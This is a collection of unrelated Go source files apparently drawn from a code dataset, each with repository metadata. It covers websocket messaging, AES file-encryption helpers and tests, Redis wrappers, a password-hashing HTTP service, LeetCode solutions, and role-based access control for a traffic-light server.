/////////////////////////////////////////////////////////////////////////////////////////////////////////////////// func (r *Room) sendMessage(mt int, st int, rec []string, a string, m interface{}) error { //GET USER MAP userMap, err := r.GetUserMap() if err != nil { return err } //CONSTRUCT MESSAGE message := make(map[string]interface{}) message[helpers.ServerActionRoomMessage] = make(map[string]interface{}) if mt == MessageTypeServer { message[helpers.ServerActionRoomMessage].(map[string]interface{})["s"] = st } // Server messages come with a sub-type if len(a) > 0 && mt != MessageTypeServer { message[helpers.ServerActionRoomMessage].(map[string]interface{})["a"] = a } // Non-server messages have authors message[helpers.ServerActionRoomMessage].(map[string]interface{})["m"] = m // The message //SEND MESSAGE TO USERS if rec == nil || len(rec) == 0 { for _, u := range userMap { u.mux.Lock() for _, conn := range u.conns { (*conn).socket.WriteJSON(message) } u.mux.Unlock() } } else { for i := 0; i < len(rec); i++ { if u, ok := userMap[rec[i]]; ok { u.mux.Lock() for _, conn := range u.conns { (*conn).socket.WriteJSON(message) } u.mux.Unlock() } } } return nil }
true
6a7d79b4053c6b62af71867f7002982e4b53a2e8
Go
hkloudou/toolx
/funcx/bytes.go
UTF-8
273
2.765625
3
[]
no_license
[]
no_license
package funcx import "bytes" //BytesCombine 合并多个bytes func BytesCombine(pBytes ...[]byte) []byte { len := len(pBytes) s := make([][]byte, len) for index := 0; index < len; index++ { s[index] = pBytes[index] } sep := []byte("") return bytes.Join(s, sep) }
true
f012bc9fa701699930c833dd1868279e5e7e25fa
Go
ahmedsajid/vsummary
/crypto/aes.go
UTF-8
2,330
3.390625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package crypto import ( "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "io" "github.com/spf13/viper" ) // key to be used for all crypto operations var key []byte // ensure that key is properly initialized func initKey() error { // if key is not a valid length, try to load it from config if len(key) != 16 && len(key) != 24 && len(key) != 32 { key = []byte(viper.GetString("aes_key")) // check if key from config is proper size if len(key) != 16 && len(key) != 24 && len(key) != 32 { return fmt.Errorf("aes_key specified in config is not of correct length: %d", len(key)) } } return nil } // encrypt string to base64 crypto using AES func Encrypt(text string) (encryptedText string, err error) { // validate key if err = initKey(); err != nil { return } // create cipher block from key block, err := aes.NewCipher(key) if err != nil { return } plaintext := []byte(text) // The IV needs to be unique, but not secure. Therefore it's common to // include it at the beginning of the ciphertext. ciphertext := make([]byte, aes.BlockSize+len(plaintext)) iv := ciphertext[:aes.BlockSize] if _, rErr := io.ReadFull(rand.Reader, iv); rErr != nil { err = fmt.Errorf("iv ciphertext err: %s", rErr) return } stream := cipher.NewCFBEncrypter(block, iv) stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext) // convert to base64 encryptedText = base64.URLEncoding.EncodeToString(ciphertext) return } // decrypt from base64 to decrypted string func Decrypt(cryptoText string) (decryptedText string, err error) { // validate key if err = initKey(); err != nil { return } // create cipher block from key block, err := aes.NewCipher(key) if err != nil { return } ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText) // The IV needs to be unique, but not secure. Therefore it's common to // include it at the beginning of the ciphertext. if len(ciphertext) < aes.BlockSize { err = fmt.Errorf("ciphertext is too small") return } iv := ciphertext[:aes.BlockSize] ciphertext = ciphertext[aes.BlockSize:] stream := cipher.NewCFBDecrypter(block, iv) // XORKeyStream can work in-place if the two arguments are the same. stream.XORKeyStream(ciphertext, ciphertext) decryptedText = fmt.Sprintf("%s", ciphertext) return }
true
07ec058602cd6228863563f81ba99515c1410fc2
Go
iamwo0/dollmachine
/dollwechat/ff_redis/list.go
UTF-8
964
2.828125
3
[]
no_license
[]
no_license
package ff_redis import ( "github.com/garyburd/redigo/redis" ) type List struct {} func NewList() *List{ return &List{} } func (l *List) LPush(conn redis.Conn, key string, value string) (bool, error){ valueInt, err := redis.Int(conn.Do("LPUSH", key, value)) if err != nil || valueInt == 0 { return false, err } return true, nil } func (l *List) RPop(conn redis.Conn, key string) (string, error){ valueStr, err := redis.String(conn.Do("RPOP", key)) if err != nil { return "", err } return valueStr, nil } func (l *List) LRange(conn redis.Conn, key string, startIndex int, lastIndex int) (map[string]string, error){ valueMap, err := redis.StringMap(conn.Do("LRANGE", startIndex, lastIndex)) if err != nil || valueMap == nil { return nil, err } return valueMap, nil } func (l List) LLen(conn redis.Conn, key string) (int, error){ valueInt, err := redis.Int(conn.Do("LLEN", key)) if err != nil { return 0, err } return valueInt, nil }
true
a47387484200874893fa6850fc0559e0c4849d1b
Go
Goose1983/fiber_blog
/internal/usecase/blog.go
UTF-8
195
2.53125
3
[]
no_license
[]
no_license
package usecase type BlogUseCase struct { ArticleRepo Advertise } // New -. func New(r ArticleRepo, w Advertise) *BlogUseCase { return &BlogUseCase{ ArticleRepo: r, Advertise: w, } }
true
8bcb7d9cf9c852bbaa5ebf08ad90318649ca777c
Go
richardmable/passwordHasher
/main.go
UTF-8
2,777
3.328125
3
[]
no_license
[]
no_license
package main import ( "fmt" "log" "net/http" "time" ) func main() { fmt.Println("Program started...") var programOption int64 fmt.Println( `Select a program option by entering a number: 1: Command line input to return SHA512 Base64 encoded hash 2: Hash and encode passwords over HTTP 3: Same as 2, but with the ability to send a GET request to /shutdown to shutdown the server once work is completed, and a /stats endpoint`) _, err := fmt.Scan(&programOption) checkError(err) // command line mode to take a user inputted // string and return a base64 SHA512 encoded string if programOption == 1 { fmt.Println("Program 1, command line input started") // infinite loop to take infinite entries, don't have to restart each time for { pwd := hashPassword(passwordCLineEntry()) fmt.Println("Your base64 encoded password:") fmt.Println(pwd) } // ideally would set the port in the .env or similar } else if programOption == 2 { // does the same as program 1, but over http, // and can handle multiple connections fmt.Println("Program 2, http mode started") // set some timeouts s := &http.Server{ Addr: ":8080", Handler: nil, ReadTimeout: 15 * time.Second, WriteTimeout: 15 * time.Second, MaxHeaderBytes: 1 << 20, } http.HandleFunc("/hash", handlerHash) log.Fatal(s.ListenAndServe()) } else if programOption == 3 { // does the same as program 2 but provides a // /shutdown endpoint to shutdown gracefully // and provides a /stats endpoint fmt.Println("Program 3, http mode started w/shutdown and stats enabled") // set some timeouts svr := &http.Server{ Addr: ":8080", Handler: nil, ReadTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, MaxHeaderBytes: 1 << 20, } // handle the hashing http.HandleFunc("/hash", handlerHash) http.HandleFunc("/stats", handlerStats) // don't want the server to block, as we need to check for shutdown signals go func() { if err := svr.ListenAndServe(); err != http.ErrServerClosed { checkError(err) } }() // channels to send signals that shutdown is ok, and can commence idleConnsClosed := make(chan struct{}) sigStop := make(chan bool, 1) // run the server shutdown as a goroutine that blocks until shutdown signal is sent go gracefulShutdown(svr, idleConnsClosed, sigStop) // handle the shutdown request by sending a signal ok to shutdown http.HandleFunc("/shutdown", func(w http.ResponseWriter, r *http.Request) { if r.Method != "GET" { http.Error(w, "method not allowed.", 405) } else { sigStop <- true } }) // block program exit until until all idle connections are closed <-idleConnsClosed } }
true
deccecddabbc6fd997c4ebc3f110b8304ad8eb48
Go
n-boy/backuper
/crypter/crypter_test.go
UTF-8
8,636
2.921875
3
[]
no_license
[]
no_license
package crypter_test import ( "github.com/n-boy/backuper/crypter" "github.com/n-boy/backuper/ut/testutils" "bufio" "bytes" "encoding/hex" "io" "io/ioutil" "os" "path/filepath" "strings" "testing" ) const passphrase = "my pretty long passphrase" const passphrase2 = "my pretty long passphrase 2" const plainText = `To be, or not to be: that is the question: Whether 'tis nobler in the mind to suffer The slings and arrows of outrageous fortune, Or to take arms against a sea of troubles, And by opposing end them? To die: to sleep;` type DataCoincidePlace int const ( NONE DataCoincidePlace = iota BEGIN MIDDLE END ) var places = [...]string{ "none", "begin", "middle", "end", } func TestEncrypt(t *testing.T) { testName := "Encrypt" encText, err := encryptText(plainText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while encrypt: %v\n", testName, err) } if len(encText) < len(plainText) { t.Errorf("Test failed. Name: %v, encrypted text length expected: >= %v, got: %v\n", testName, len(plainText), len(encText)) } coincidePlace := whereDataPartlyCoincide([]byte(plainText), encText) if coincidePlace != NONE { t.Errorf("Test failed. Name: %v, chunk from plain text on the %v contains in encrypted text\n", testName, places[coincidePlace]) } } func TestEncryptDecryptPassphraseCorrect(t *testing.T) { testName := "EncryptDecryptPassphraseCorrect" encText, err := encryptText(plainText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while encrypt: %v\n", testName, err) } decryptedText, err := decryptText(encText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while decrypt: %v\n", testName, err) } if plainText != decryptedText { t.Errorf("Test failed. Name: %v, decrypted text not equals to source plain text, expected:\n %v, \n\r\ngot: %v\n", testName, plainText, decryptedText) } } func TestEncryptDecryptPassphraseIncorrect(t *testing.T) { testName := "EncryptDecryptPassphraseIncorrect" encText, err := encryptText(plainText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while encrypt: %v\n", testName, err) } decryptedText, err := decryptText(encText, passphrase2) if err != nil { t.Fatalf("Test died. Name: %v, error while decrypt: %v\n", testName, err) } if plainText == decryptedText { t.Errorf("Test failed. Name: %v, decrypted text equals to source plain text\n", testName) } } func TestEncryptDecryptUseWriter(t *testing.T) { testName := "EncryptDecryptUseWriter" encText, err := encryptText(plainText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while encrypt: %v\n", testName, err) } decryptedText, err := decryptTextUseWriter(encText, passphrase, false) if err != nil { t.Fatalf("Test died. Name: %v, error while decrypt: %v\n", testName, err) } if plainText != decryptedText { t.Errorf("Test failed. Name: %v, decrypted text not equals to source plain text, expected:\n %v, \n\r\ngot: %v\n", testName, plainText, decryptedText) } } // checks partially writing of IV cipher part func TestEncryptDecryptUseWriterSmallChunks(t *testing.T) { testName := "EncryptDecryptUseWriterSmallChunks" encText, err := encryptText(plainText, passphrase) if err != nil { t.Fatalf("Test died. Name: %v, error while encrypt: %v\n", testName, err) } decryptedText, err := decryptTextUseWriter(encText, passphrase, true) if err != nil { t.Fatalf("Test died. Name: %v, error while decrypt: %v\n", testName, err) } if plainText != decryptedText { t.Errorf("Test failed. Name: %v, decrypted text not equals to source plain text, expected:\n %v, \n\r\ngot: %v\n", testName, plainText, decryptedText) } } func encryptText(plainText string, passphrase string) (encText []byte, err error) { plainTextReader := strings.NewReader(plainText) var encTextBuf bytes.Buffer encTextWriter := bufio.NewWriter(&encTextBuf) encrypter := crypter.GetEncrypter(passphrase) encrypter.InitWriter(encTextWriter) _, err = io.Copy(encrypter, plainTextReader) if err != nil { return } encTextWriter.Flush() encText = encTextBuf.Bytes() return } func decryptText(encText []byte, passphrase string) (plainText string, err error) { encTextReader := bytes.NewReader(encText) var plainTextBuf bytes.Buffer plainTextWriter := bufio.NewWriter(&plainTextBuf) decrypter := crypter.GetDecrypter(passphrase) decrypter.InitReader(encTextReader) _, err = io.Copy(plainTextWriter, decrypter) if err != nil { return } plainTextWriter.Flush() plainText = string(plainTextBuf.Bytes()[:]) return } func decryptTextUseWriter(encText []byte, passphrase string, smallChunks bool) (plainText string, err error) { encTextReader := bytes.NewReader(encText) var plainTextBuf bytes.Buffer plainTextWriter := bufio.NewWriter(&plainTextBuf) decrypter := crypter.GetDecrypter(passphrase) decrypter.InitWriter(plainTextWriter) if smallChunks { buf := make([]byte, 5) for { n, err1 := encTextReader.Read(buf) if err1 != nil && err1 != io.EOF { return "", err1 } if n == 0 { break } _, err = decrypter.Write(buf[:n]) if err != nil { return } } } else { _, err = io.Copy(decrypter, encTextReader) if err != nil { return } } plainTextWriter.Flush() plainText = string(plainTextBuf.Bytes()[:]) return } func whereDataPartlyCoincide(source []byte, target []byte) DataCoincidePlace { chunkSize := 32 if len(source) < chunkSize { chunkSize = len(source) } if chunkIsContained(source[0:chunkSize], target) { return BEGIN } middle_idx := len(source) / 2 if len(source)-middle_idx < chunkSize { middle_idx -= chunkSize - (len(source) - middle_idx) } if chunkIsContained(source[middle_idx:middle_idx+chunkSize], target) { return MIDDLE } if chunkIsContained(source[len(source)-chunkSize:len(source)], target) { return END } return NONE } func chunkIsContained(chunk []byte, target []byte) bool { if len(target) < len(chunk) { return false } chunkHex := hex.EncodeToString(chunk) for i := 0; i < len(target)-len(chunk); i++ { if chunkHex == hex.EncodeToString(target[i:i+len(chunk)]) { return true } } return false } func TestEncryptDecryptFile(t *testing.T) { testName := "EncryptDecryptFile" srcFilePath := filepath.Join(testutils.TmpDir(), testutils.RandString(20)+".bin") t.Logf("Creating temporary file %s", srcFilePath) err := ioutil.WriteFile(srcFilePath, []byte(plainText), 0600) defer os.Remove(srcFilePath) if err != nil { t.Fatalf("Test died. Error while creating plain text file: %v", err) } srcFileMd5, err1 := testutils.CalcFileMD5(srcFilePath) if err1 != nil { t.Fatalf("Test died. Name: %v. Error while calc plain text file md5: %v", testName, err1) } encFilePath := filepath.Join(testutils.TmpDir(), testutils.RandString(20)+".bin") err = crypter.EncryptFile(passphrase, srcFilePath, encFilePath) defer os.Remove(encFilePath) if err != nil { t.Fatalf("Test died. Name: %v. Error while encrypting file: %v", testName, err) } newSrcFileMd5, err2 := testutils.CalcFileMD5(srcFilePath) if err2 != nil { t.Fatalf("Test died. Name: %v. Error while calc plain text file md5 after encryption: %v", testName, err2) } if newSrcFileMd5 != srcFileMd5 { t.Errorf("Test failed. Name: %v. Plain text md5 changed after encryption", testName) } encFileMd5, err3 := testutils.CalcFileMD5(encFilePath) if err3 != nil { t.Fatalf("Test died. Name: %v. Error while calc encrypted file md5: %v", testName, err3) } if encFileMd5 == srcFileMd5 { t.Errorf("Test failed. Name: %v. Plain text md5 equals to encrypted file md5", testName) } decryptedFilePath := filepath.Join(testutils.TmpDir(), testutils.RandString(20)+".bin") err = crypter.DecryptFile(passphrase, encFilePath, decryptedFilePath) defer os.Remove(decryptedFilePath) if err != nil { t.Fatalf("Test died. Name: %v. Error while decrypting file: %v", testName, err) } newEncFileMd5, err4 := testutils.CalcFileMD5(encFilePath) if err4 != nil { t.Fatalf("Test died. Name: %v. Error while calc encrypted text file md5 after decryption: %v", testName, err4) } if newEncFileMd5 != encFileMd5 { t.Errorf("Test failed. Name: %v. Encrypted text md5 changed after decryption", testName) } decryptedFileMd5, err5 := testutils.CalcFileMD5(decryptedFilePath) if err5 != nil { t.Fatalf("Test died. Name: %v. Error while calc decrypted text file md5: %v", testName, err5) } if decryptedFileMd5 != srcFileMd5 { t.Errorf("Test failed. Name: %v. Decrypted text md5 not equals source plain text file md5", testName) } }
true
b3e78b0bc0f2cf3502f56562713cf789e18baa74
Go
marc47marc47/leetcode-cn
/1425constrained-subset-sum/1425.go
UTF-8
943
2.921875
3
[]
no_license
[]
no_license
package main //https://leetcode-cn.com/problems/constrained-subset-sum/ // 92ms 9.5MB func constrainedSubsetSum(nums []int, k int) int { if len(nums) == 0 { return 0 } maxSum := nums[0] dp := make([]int, len(nums)) q := make([]int, 0) // to compute dp[i-k]...dp[i] 的最大值 for i := range nums { if i == 0 { dp[0] = nums[0] // q = append(q, 0) //这里不能加,因为在 i 为1的时候也会加入 continue } //虽然 q[0]对应的dp最大,但是超过了k的窗口 只能放弃 if len(q) > 0 && i-q[0] > k { q = q[1:] } // add [i-1] to q qID := len(q) - 1 q = append(q, i-1) for qID >= 0 { if dp[i-1] > dp[q[qID]] { qID-- } else { break } } q[qID+1] = i - 1 q = q[:qID+2] // max is dp[q[0]] dp[i] = max(dp[q[0]], 0) + nums[i] if dp[i] > maxSum { maxSum = dp[i] } } return maxSum } func max(i, j int) int { if i > j { return i } return j }
true
94ee3e8e3758edd3f12867b54514d2c8540b3894
Go
12gears/graphjin
/serv/admin.go
UTF-8
1,912
2.703125
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
//nolint:errcheck package serv import ( "bytes" "encoding/base64" "encoding/json" "fmt" "io" "net/http" ) type deployReq struct { Name string `json:"name"` Bundle string `json:"bundle"` } func adminDeployHandler(s1 *Service) http.Handler { h := func(w http.ResponseWriter, r *http.Request) { var msg string var req deployReq s := s1.Load().(*service) if !s.isAdminSecret(r) { authFail(w) return } de := json.NewDecoder(r.Body) if err := de.Decode(&req); err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } if req.Name == "" { badReq(w, "name is a required field") return } if req.Bundle == "" { badReq(w, "bundle is a required field") return } if err := s.saveConfig(r.Context(), req.Name, req.Bundle); err != nil { intErr(w, fmt.Sprintf("error saving config: %s", err.Error())) } else { io.WriteString(w, msg) } } return http.HandlerFunc(h) } func adminRollbackHandler(s1 *Service) http.Handler { h := func(w http.ResponseWriter, r *http.Request) { var msg string s := s1.Load().(*service) if !s.isAdminSecret(r) { authFail(w) return } if err := s.rollbackConfig(r.Context()); err != nil { intErr(w, fmt.Sprintf("error rolling-back config: %s", err.Error())) } else { io.WriteString(w, msg) } } return http.HandlerFunc(h) } func (s *service) isAdminSecret(r *http.Request) bool { hv := r.Header["Authorization"] if len(hv) == 0 || len(hv[0]) < 10 { return false } v1, err := base64.StdEncoding.DecodeString(hv[0][7:]) return (err == nil) && bytes.Equal(v1, s.asec[:]) } func badReq(w http.ResponseWriter, msg string) { http.Error(w, msg, http.StatusBadRequest) } func intErr(w http.ResponseWriter, msg string) { http.Error(w, msg, http.StatusInternalServerError) } func authFail(w http.ResponseWriter) { http.Error(w, "auth failed", http.StatusUnauthorized) }
true
85a1b0af484bd607714375bd5c180d7ebc35685a
Go
mickey0524/leetcode
/234.Palindrome-Linked-List.go
UTF-8
968
3.015625
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
// https://leetcode.com/problems/palindrome-linked-list/ // // algorithms // Easy (34.81%) // Total Accepted: 214,702 // Total Submissions: 616,829 // beats 100.0% of golang submissions package leetcode /** * Definition for singly-linked list. * type ListNode struct { * Val int * Next *ListNode * } */ func isPalindrome(head *ListNode) bool { if head == nil || head.Next == nil { return true } oneStep, twoStep := head, head var pre, tmp, preTmp *ListNode var left, right *ListNode for { if twoStep.Next == nil { left = pre right = oneStep.Next break } if twoStep.Next.Next == nil { left = oneStep right = oneStep.Next left.Next = pre break } twoStep = twoStep.Next.Next tmp = oneStep.Next preTmp = pre pre = oneStep pre.Next = preTmp oneStep = tmp } for left != nil && right != nil { if left.Val != right.Val { return false } left = left.Next right = right.Next } return true }
true
76d4f21ed69c2bd00560d6620e68cd6f8fc5ffce
Go
oklahomer/go-sarah
/_examples/status/handler.go
UTF-8
2,845
2.71875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package main import ( "encoding/json" "github.com/oklahomer/go-kasumi/logger" "github.com/oklahomer/go-sarah/v4" "net/http" "runtime" ) // setStatusHandler sets an endpoint that returns current status of go-sarah, its belonging sarah.Bot implementations and sarah.Worker. // // curl -s -XGET "http://localhost:8080/status" | jq . // { // "worker": [ // { // "report_time": "2018-06-23T15:22:37.274064679+09:00", // "queue_size": 0 // }, // { // "report_time": "2018-06-23T15:22:47.275251621+09:00", // "queue_size": 0 // }, // { // "report_time": "2018-06-23T15:22:57.272596709+09:00", // "queue_size": 0 // }, // { // "report_time": "2018-06-23T15:23:07.275004281+09:00", // "queue_size": 0 // }, // { // "report_time": "2018-06-23T15:23:17.276197523+09:00", // "queue_size": 0 // } // ], // "runtime": { // "goroutine_count": 115, // "cpu_count": 4, // "gc_count": 1 // }, // "bot_system": { // "running": true, // "bots": [ // { // "type": "nullBot", // "running": true // }, // { // "type": "slack", // "running": true // } // ] // } // } func setStatusHandler(mux *http.ServeMux, ws *workerStats) { mux.HandleFunc("/status", func(writer http.ResponseWriter, request *http.Request) { runnerStatus := sarah.CurrentStatus() systemStatus := &botSystemStatus{} systemStatus.Running = runnerStatus.Running for _, b := range runnerStatus.Bots { bs := &botStatus{ BotType: b.Type, Running: b.Running, } systemStatus.Bots = append(systemStatus.Bots, bs) } var memStats runtime.MemStats runtime.ReadMemStats(&memStats) status := &status{ Worker: ws.history(), Runtime: &runtimeStatus{ NumGoroutine: runtime.NumGoroutine(), NumCPU: runtime.NumCPU(), NumGC: memStats.NumGC, }, BotRunner: systemStatus, } bytes, err := json.Marshal(status) if err == nil { writer.Header().Set("Content-Type", "application/json") _, _ = writer.Write(bytes) } else { logger.Errorf("Failed to parse json: %+v", err) http.Error(writer, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError) } }) } type status struct { Worker []workerStatsElem `json:"worker"` Runtime *runtimeStatus `json:"runtime"` BotRunner *botSystemStatus `json:"bot_system"` } type runtimeStatus struct { NumGoroutine int `json:"goroutine_count"` NumCPU int `json:"cpu_count"` NumGC uint32 `json:"gc_count"` } type botStatus struct { BotType sarah.BotType `json:"type"` Running bool `json:"running"` } type botSystemStatus struct { Running bool `json:"running"` Bots []*botStatus `json:"bots"` }
true
bd3595b098bbf5f1defbc7c0fcb07d56bcb66312
Go
ruraomsk/TLServer
/internal/model/data/roles.go
UTF-8
10,357
2.578125
3
[]
no_license
[]
no_license
package data import ( "encoding/json" "fmt" "github.com/ruraomsk/TLServer/internal/model/accToken" "io/ioutil" "net/http" "strings" "sync" u "github.com/ruraomsk/TLServer/internal/utils" ) //RoleInfo глабальная переменная для обращения к мапам var RoleInfo RoleData //RoleData структура, включающая всю информацию о ролях, привелегиях, и маршрутах type RoleData struct { Mux sync.Mutex MapRoles map[string][]int //роли MapPermisson map[int]Permission //привилегии MapRoutes map[string]RouteInfo //маршруты } //RoleAccess информация наборах ролей и полномочий type RoleAccess struct { Roles []Role `json:"roles"` //массив ролей Permission []Permission `json:"permissions"` //массив разрешений Routes []RouteInfo `json:"routes"` //массив маршрутов } //Role информация о роли type Role struct { Name string `json:"name"` //название роли Perm []int `json:"permissions"` //массив полномочий } //Privilege структура для запросов к БД type Privilege struct { Role Role `json:"role"` //информация о роли пользователя Region string `json:"region"` //регион пользователя Area []string `json:"area"` //массив районов пользователя PrivilegeStr string `json:"-"` //строка для декодирования } //Permission структура полномочий содержит ID, команду и описание команды type Permission struct { ID int `json:"id"` //ID порядковый номер Visible bool `json:"visible"` //флаг отображения пользователю Description string `json:"description"` //описание команды } //shortPermission структура полномойчий содержит ID, команду и описание команды урезанный вид для отправки пользователю type shortPermission struct { ID int `json:"id"` //ID порядковый номер Description string `json:"description"` //описание команды } //RouteInfo информация о всех расписанных маршрутах type RouteInfo struct { ID int `json:"id"` //уникальный номер маршрута Permission int `json:"permission"` //номер разрешения к которому относится этот маршрут Path string `json:"path"` //путь (url) обращения к ресурсу Description string `json:"description"` //описание маршрута } //DisplayInfoForAdmin отображение информации о пользователях для администраторов func (privilege *Privilege) DisplayInfoForAdmin(accInfo *accToken.Token) u.Response { var ( sqlStr string shortAcc []ShortAccount ) err := privilege.ReadFromBD(accInfo.Login) if err != nil { return u.Message(http.StatusInternalServerError, "display info: Privilege error") } //если нужно из списка исключить пользователя раскомментировать строчки //sqlStr = fmt.Sprintf("select login, work_time, privilege, description from public.accounts where login != '%s'", mapContx["login"]) sqlStr = fmt.Sprintf("select login, work_time, privilege, description from public.accounts ") if !strings.EqualFold(privilege.Region, "*") { //sqlStr += fmt.Sprintf(`and privilege::jsonb @> '{"region":"%s"}'::jsonb`, privilege.Region) sqlStr += fmt.Sprintf(`where privilege::jsonb @> '{"region":"%s"}'::jsonb`, privilege.Region) } db, id := GetDB() defer FreeDB(id) rowsTL, err := db.Query(sqlStr) if err != nil { return u.Message(http.StatusBadRequest, "display info: Bad request") } for rowsTL.Next() { var tempSA = ShortAccount{} err := rowsTL.Scan(&tempSA.Login, &tempSA.WorkTime, &tempSA.Privilege, &tempSA.Description) if err != nil { return u.Message(http.StatusBadRequest, "display info: Bad request") } var tempPrivilege = Privilege{} tempPrivilege.PrivilegeStr = tempSA.Privilege err = tempPrivilege.ConvertToJson() if err != nil { return u.Message(http.StatusInternalServerError, "display info: Privilege json error") } tempSA.Role.Name = tempPrivilege.Role.Name //выбираю привелегии которые не ключены в шаблон роли RoleInfo.Mux.Lock() for _, val1 := range tempPrivilege.Role.Perm { flag1, flag2 := false, false for _, val2 := range RoleInfo.MapRoles[tempSA.Role.Name] { if val2 == val1 { flag1 = true break } } for _, val3 := range tempSA.Role.Perm { if val3 == val1 { flag2 = true break } } if !flag1 && !flag2 { tempSA.Role.Perm = append(tempSA.Role.Perm, val1) } } RoleInfo.Mux.Unlock() if tempSA.Role.Perm == nil { tempSA.Role.Perm = make([]int, 0) } tempSA.Region.SetRegionInfo(tempPrivilege.Region) for _, num := range tempPrivilege.Area { tempArea := AreaInfo{} tempArea.SetAreaInfo(tempSA.Region.Num, num) tempSA.Area = append(tempSA.Area, tempArea) } if tempSA.Login != AutomaticLogin { shortAcc = append(shortAcc, tempSA) } } resp := u.Message(http.StatusOK, "display information for Admins") //собираем в кучу роли RoleInfo.Mux.Lock() var roles []string if accInfo.Login == AutomaticLogin { roles = append(roles, "Admin") } for roleName := range RoleInfo.MapRoles { if (accInfo.Role == "Admin") && (roleName == "Admin") { continue } if (accInfo.Role == "RegAdmin") && ((roleName == "Admin") || (roleName == "RegAdmin")) { continue } roles = append(roles, roleName) } resp.Obj["roles"] = roles //собираю в кучу разрешения без указания команд chosenPermisson := make(map[int]shortPermission) for key, value := range RoleInfo.MapPermisson { for _, permCreator := range privilege.Role.Perm { if value.Visible && permCreator == value.ID { var shValue shortPermission shValue.transform(value) chosenPermisson[key] = shValue } } } resp.Obj["permInfo"] = chosenPermisson RoleInfo.Mux.Unlock() CacheInfo.Mux.Lock() //собираю в кучу регионы для отображения chosenRegion := make(map[string]string) if accInfo.Role != "RegAdmin" { for first, second := range CacheInfo.MapRegion { chosenRegion[first] = second } delete(chosenRegion, "*") } else { chosenRegion[accInfo.Region] = CacheInfo.MapRegion[accInfo.Region] } if accInfo.Login == AutomaticLogin { chosenRegion["*"] = CacheInfo.MapRegion["*"] } resp.Obj["regionInfo"] = chosenRegion //собираю в кучу районы для отображения chosenArea := make(map[string]map[string]string) for key, value := range CacheInfo.MapArea { chosenArea[key] = make(map[string]string) chosenArea[key] = value } if accInfo.Login != AutomaticLogin { delete(chosenArea, "Все регионы") } CacheInfo.Mux.Unlock() resp.Obj["areaInfo"] = chosenArea resp.Obj["accInfo"] = shortAcc return resp } //transform преобразование из расшириных разрешений к коротким func (shPerm *shortPermission) transform(perm Permission) { shPerm.Description = perm.Description shPerm.ID = perm.ID } //ReadRoleAccessFile чтение RoleAccess файла func (roleAccess *RoleAccess) ReadRoleAccessFile() (err error) { file, err := ioutil.ReadFile(`./configs/RoleAccess.json`) if err != nil { return err } err = json.Unmarshal(file, roleAccess) if err != nil { return err } return err } //ToSqlStrUpdate запись привилегий в базу func (privilege *Privilege) WriteRoleInBD(login string) (err error) { privilegeStr, _ := json.Marshal(privilege) db, id := GetDB() defer FreeDB(id) _, err = db.Exec(`UPDATE public.accounts set privilege = $1 where login = $2`, string(privilegeStr), login) return } //ReadFromBD прочитать данные из бд и разобрать func (privilege *Privilege) ReadFromBD(login string) error { var privilegeStr string db, id := GetDB() defer FreeDB(id) err := db.QueryRow(`SELECT privilege FROM public.accounts WHERE login = $1`, login).Scan(&privilegeStr) if err != nil { return err } err = json.Unmarshal([]byte(privilegeStr), privilege) if err != nil { return err } return nil } //ConvertToJson из строки в структуру func (privilege *Privilege) ConvertToJson() (err error) { err = json.Unmarshal([]byte(privilege.PrivilegeStr), privilege) if err != nil { return err } return nil } //NewPrivilege созданеие привелегии func NewPrivilege(role, region string, area []string) *Privilege { var privilege Privilege RoleInfo.Mux.Lock() if _, ok := RoleInfo.MapRoles[role]; ok { privilege.Role.Name = role } else { privilege.Role.Name = "Viewer" } for _, permission := range RoleInfo.MapRoles[privilege.Role.Name] { privilege.Role.Perm = append(privilege.Role.Perm, permission) } RoleInfo.Mux.Unlock() if region == "" { privilege.Region = "0" } else { privilege.Region = region } if len(region) == 0 { privilege.Area = []string{"0"} } else { privilege.Area = area } return &privilege } //AccessCheck проверка разрешения на доступ к ресурсу func AccessCheck(login string, acts ...int) map[int]bool { accessMap := make(map[int]bool) for _, act := range acts { accessMap[act] = false } privilege := Privilege{} //Проверил соответствует ли роль которую мне дали с ролью установленной в БД err := privilege.ReadFromBD(login) if err != nil { return accessMap } for _, act := range acts { for _, perm := range privilege.Role.Perm { if perm == act { accessMap[act] = true break } } } accessMap[10] = true return accessMap }
true
10a695f3dc8634a101b576eb34ff557e7ce84f66
Go
jhinrichsen/leetcode
/add_two_numbers_test.go
UTF-8
358
2.765625
3
[ "BSD-3-Clause" ]
permissive
[ "BSD-3-Clause" ]
permissive
package leetcode import ( "math/big" "testing" ) // Input: (2 -> 4 -> 3) + (5 -> 6 -> 4) // Output: 7 -> 0 -> 8 func TestAddTwoNumbers(t *testing.T) { l1 := listNode(big.NewInt(342)) l2 := listNode(big.NewInt(465)) want := big.NewInt(807) got := val(AddTwoNumbers(l1, l2)) if want.Cmp(got) != 0 { t.Fatalf("want %+v but got %+v", want, got) } }
true
86404025ba187039dbe2e164e07791ced89b5d91
Go
Sambrlon/materials
/tasks/task4/runner.go
UTF-8
1,601
3.125
3
[]
no_license
[]
no_license
